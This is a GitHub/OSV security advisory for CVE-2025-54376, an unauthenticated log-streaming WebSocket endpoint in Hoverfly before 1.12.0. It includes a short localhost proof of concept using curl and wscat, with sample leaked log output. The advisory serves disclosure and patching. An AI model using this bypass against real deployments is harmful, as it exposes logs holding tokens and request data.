CVE-2025-54376: Github.com/SpectoLabs/hoverfly WebSocket Endpoint `/api/v2/ws/logs` Reachable Without Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-jxmr-2h4q-rhxp",
  "modified" : "2025-09-24T21:14:07Z",
  "published" : "2025-09-10T20:43:49Z",
  "aliases" : [ "CVE-2025-54376" ],
  "summary" : "WebSocket endpoint `/api/v2/ws/logs` reachable without authentication even when --auth is enabled",
  "details" : "### Summary\nHoverfly’s admin WebSocket endpoint /api/v2/ws/logs is not protected by the same authentication middleware that guards the REST admin API.\nConsequently, an unauthenticated remote attacker can:\n\n- Stream real-time application logs (information disclosure).\n- Gain insight into internal file paths, request/response bodies, and other potentially sensitive data emitted in logs.\n\n### PoC\n1. Start Hoverfly with authentication enabled:\n\n```\n./hoverfly -auth\n```\n\n2. Confirm REST API requires credentials:\n\n```\ncurl -i http://localhost:8888/api/v2/hoverfly/version\n```\n\n3. Connect to the WebSocket endpoint without credentials:\n\n\n```\nwscat -c ws://localhost:8888/api/v2/ws/logs\n# Connected (press CTRL+C to quit)\n# … logs stream immediately … (You would need to send a message to start receiving stream)\n```\n\n```\nwscat -c ws://localhost:8888/api/v2/ws/logs\nConnected (press CTRL+C to quit)\n> hi!\n< {\"logs\":[{\"level\":\"info\",\"msg\":\"Log level set to verbose\",\"time\":\"2025-07-20T17:07:00+05:30\"},{\"level\":\"info\",\"msg\":\"Using memory backend\",\"time\":\"2025-07-20T17:07:00+05:30\"},{\"level\":\"info\",\"msg\":\"User added successfully\",\"time\":\"2025-07-20T17:07:00+05:30\",\"username\":\"\"},{\"level\":\"info\",\"msg\":\"Enabling proxy authentication\",\"time\":\"2025-07-20T17:07:00+05:30\"},{\"Destination\":\".\",\"Mode\":\"simulate\",\"ProxyPort\":\"8500\",\"level\":\"info\",\"msg\":\"Proxy prepared...\",\"time\":\"2025-07-20T17:07:00+05:30\"},{\"destination\":\".\",\"level\":\"info\",\"mode\":\"simulate\",\"msg\":\"current proxy configuration\",\"port\":\"8500\",\"time\":\"2025-07-20T17:07:00+05:30\"},{\"level\":\"info\",\"msg\":\"serving proxy\",\"time\":\"2025-07-20T17:07:00+05:30\"},{\"AdminPort\":\"8888\",\"level\":\"info\",\"msg\":\"Admin interface is starting...\",\"time\":\"2025-07-20T17:07:00+05:30\"},{\"level\":\"debug\",\"message\":\"hi!\",\"msg\":\"Got message...\",\"time\":\"2025-07-20T17:09:04+05:30\"}]}\n< ...\n< ...\n```\n\n### Impact\nAuthentication bypass; an attacker receives full application logs, including proxied request/response bodies, tokens, file paths, etc.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:P"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/SpectoLabs/hoverfly"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.12.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/SpectoLabs/hoverfly/security/advisories/GHSA-jxmr-2h4q-rhxp"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-54376"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/SpectoLabs/hoverfly/commit/ffc2cc34563de67fe1a04f7ba5d78fa2d4564424"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/SpectoLabs/hoverfly"
  }, {
    "type" : "WEB",
    "url" : "https://pkg.go.dev/vuln/GO-2025-3945"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-200", "CWE-287" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2025-09-10T20:43:49Z",
    "nvd_published_at" : "2025-09-10T20:15:35Z"
  }
}